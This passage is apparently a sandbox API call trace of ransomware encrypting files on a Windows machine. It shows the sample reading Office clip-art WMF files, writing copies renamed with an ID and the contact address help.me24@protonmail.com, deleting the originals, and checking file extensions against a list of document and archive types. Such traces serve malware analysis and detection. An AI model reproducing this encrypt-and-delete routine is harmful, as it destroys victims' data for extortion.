	[0164.446] WriteFile (in: hFile=0x3e0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x27e0, lpOverlapped=0x0) returned 1
	[0164.447] ReadFile (in: hFile=0x460, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.447] WriteFile (in: hFile=0x3e0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.447] SetEndOfFile (hFile=0x3e0) returned 1
	[0164.447] CloseHandle (hObject=0x3e0) returned 1
	[0164.448] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.448] SetEndOfFile (hFile=0x460) returned 1
	[0164.451] CloseHandle (hObject=0x460) returned 1
	[0164.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1
	[0164.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0164.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0164.634] lstrlenW (lpString=".doc") returned 4
	[0164.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.634] lstrlenW (lpString=".docx") returned 5
	[0164.634] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0164.634] lstrlenW (lpString=".pdf") returned 4
	[0164.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.634] lstrlenW (lpString=".xls") returned 4
	[0164.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.634] lstrlenW (lpString=".xlsx") returned 5
	[0164.634] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0164.634] lstrlenW (lpString=".ppt") returned 4
	[0164.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0164.634] lstrlenW (lpString=".zip") returned 4
	[0164.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.634] lstrlenW (lpString=".rar") returned 4
	[0164.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.634] lstrlenW (lpString=".bz2") returned 4
	[0164.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.634] lstrlenW (lpString=".7z") returned 3
	[0164.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0164.634] lstrlenW (lpString=".dbf") returned 4
	[0164.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0164.634] lstrlenW (lpString=".1cd") returned 4
	[0164.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0164.635] lstrlenW (lpString=".jpg") returned 4
	[0164.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0164.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0164.635] lstrlenW (lpString=".doc") returned 4
	[0164.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.635] lstrlenW (lpString=".docx") returned 5
	[0164.635] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0164.635] lstrlenW (lpString=".pdf") returned 4
	[0164.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.635] lstrlenW (lpString=".xls") returned 4
	[0164.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.635] lstrlenW (lpString=".xlsx") returned 5
	[0164.635] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0164.635] lstrlenW (lpString=".ppt") returned 4
	[0164.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0164.635] lstrlenW (lpString=".zip") returned 4
	[0164.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.635] lstrlenW (lpString=".rar") returned 4
	[0164.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.635] lstrlenW (lpString=".bz2") returned 4
	[0164.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.635] lstrlenW (lpString=".7z") returned 3
	[0164.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0164.635] lstrlenW (lpString=".dbf") returned 4
	[0164.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0164.635] lstrlenW (lpString=".1cd") returned 4
	[0164.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0164.635] lstrlenW (lpString=".jpg") returned 4
	[0164.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.636] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0164.636] lstrlenW (lpString="J0099172.WMF") returned 12
	[0164.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0165.051] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=58258) returned 1
	[0165.052] CloseHandle (hObject=0x474) returned 1
	[0165.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 0x220
	[0165.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0165.435] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.435] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0165.437] GetLastError () returned 0x0
	[0165.437] ReadFile (in: hFile=0x4a4, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0xe392, lpOverlapped=0x0) returned 1
	[0165.469] WriteFile (in: hFile=0x4a8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xe3a0, lpOverlapped=0x0) returned 1
	[0165.472] ReadFile (in: hFile=0x4a4, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.472] WriteFile (in: hFile=0x4a8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.472] SetEndOfFile (hFile=0x4a8) returned 1
	[0165.472] CloseHandle (hObject=0x4a8) returned 1
	[0165.473] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.473] SetEndOfFile (hFile=0x4a4) returned 1
	[0165.477] CloseHandle (hObject=0x4a4) returned 1
	[0165.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 1
	[0165.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0165.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0165.478] lstrlenW (lpString=".doc") returned 4
	[0165.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.478] lstrlenW (lpString=".docx") returned 5
	[0165.478] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0165.478] lstrlenW (lpString=".pdf") returned 4
	[0165.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.478] lstrlenW (lpString=".xls") returned 4
	[0165.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.478] lstrlenW (lpString=".xlsx") returned 5
	[0165.478] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0165.478] lstrlenW (lpString=".ppt") returned 4
	[0165.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0165.478] lstrlenW (lpString=".zip") returned 4
	[0165.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.479] lstrlenW (lpString=".rar") returned 4
	[0165.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.479] lstrlenW (lpString=".bz2") returned 4
	[0165.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.479] lstrlenW (lpString=".7z") returned 3
	[0165.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0165.479] lstrlenW (lpString=".dbf") returned 4
	[0165.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0165.479] lstrlenW (lpString=".1cd") returned 4
	[0165.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0165.479] lstrlenW (lpString=".jpg") returned 4
	[0165.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0165.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0165.479] lstrlenW (lpString=".doc") returned 4
	[0165.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.479] lstrlenW (lpString=".docx") returned 5
	[0165.479] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0165.479] lstrlenW (lpString=".pdf") returned 4
	[0165.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.479] lstrlenW (lpString=".xls") returned 4
	[0165.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.479] lstrlenW (lpString=".xlsx") returned 5
	[0165.479] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0165.479] lstrlenW (lpString=".ppt") returned 4
	[0165.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0165.479] lstrlenW (lpString=".zip") returned 4
	[0165.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.479] lstrlenW (lpString=".rar") returned 4
	[0165.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.480] lstrlenW (lpString=".bz2") returned 4
	[0165.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.480] lstrlenW (lpString=".7z") returned 3
	[0165.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0165.480] lstrlenW (lpString=".dbf") returned 4
	[0165.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0165.480] lstrlenW (lpString=".1cd") returned 4
	[0165.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0165.480] lstrlenW (lpString=".jpg") returned 4
	[0165.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.480] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0165.480] lstrlenW (lpString="J0099178.WMF") returned 12
	[0165.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0165.481] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=3606) returned 1
	[0165.481] CloseHandle (hObject=0x4a4) returned 1
	[0165.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220
	[0165.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0165.482] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.482] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0165.483] GetLastError () returned 0x0
	[0165.483] ReadFile (in: hFile=0x4a4, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0xe16, lpOverlapped=0x0) returned 1
	[0165.485] WriteFile (in: hFile=0x4a8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xe20, lpOverlapped=0x0) returned 1
	[0165.486] ReadFile (in: hFile=0x4a4, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.486] WriteFile (in: hFile=0x4a8, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.486] SetEndOfFile (hFile=0x4a8) returned 1
	[0165.487] CloseHandle (hObject=0x4a8) returned 1
	[0165.487] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.487] SetEndOfFile (hFile=0x4a4) returned 1
	[0165.490] CloseHandle (hObject=0x4a4) returned 1
	[0165.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1
	[0165.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0165.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0165.492] lstrlenW (lpString=".doc") returned 4
	[0165.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.492] lstrlenW (lpString=".docx") returned 5
	[0165.492] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0165.492] lstrlenW (lpString=".pdf") returned 4
	[0165.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.492] lstrlenW (lpString=".xls") returned 4
	[0165.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.493] lstrlenW (lpString=".xlsx") returned 5
	[0165.493] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0165.493] lstrlenW (lpString=".ppt") returned 4
	[0165.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0165.493] lstrlenW (lpString=".zip") returned 4
	[0165.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.493] lstrlenW (lpString=".rar") returned 4
	[0165.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.493] lstrlenW (lpString=".bz2") returned 4
	[0165.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.493] lstrlenW (lpString=".7z") returned 3
	[0165.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0165.493] lstrlenW (lpString=".dbf") returned 4
	[0165.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0165.493] lstrlenW (lpString=".1cd") returned 4
	[0165.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0165.493] lstrlenW (lpString=".jpg") returned 4
	[0165.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0165.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0165.493] lstrlenW (lpString=".doc") returned 4
	[0165.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0165.493] lstrlenW (lpString=".docx") returned 5
	[0165.493] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0165.493] lstrlenW (lpString=".pdf") returned 4
	[0165.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0165.493] lstrlenW (lpString=".xls") returned 4
	[0165.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0165.493] lstrlenW (lpString=".xlsx") returned 5
	[0165.494] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0165.494] lstrlenW (lpString=".ppt") returned 4
	[0165.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0165.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0165.494] lstrlenW (lpString=".zip") returned 4
	[0165.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0165.494] lstrlenW (lpString=".rar") returned 4
	[0165.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0165.494] lstrlenW (lpString=".bz2") returned 4
	[0165.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0165.494] lstrlenW (lpString=".7z") returned 3
	[0165.494] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0165.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0165.494] lstrlenW (lpString=".dbf") returned 4
	[0165.494] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0165.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0165.494] lstrlenW (lpString=".1cd") returned 4
	[0165.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0165.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68
	[0165.494] lstrlenW (lpString=".jpg") returned 4
	[0165.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0165.494] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0165.494] lstrlenW (lpString="J0099179.WMF") returned 12
	[0165.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0165.567] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=9154) returned 1
	[0165.569] CloseHandle (hObject=0x3e0) returned 1
	[0165.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220
	[0165.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0165.569] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.569] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0165.570] GetLastError () returned 0x0
	[0165.571] ReadFile (in: hFile=0x3e0, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x23c2, lpOverlapped=0x0) returned 1
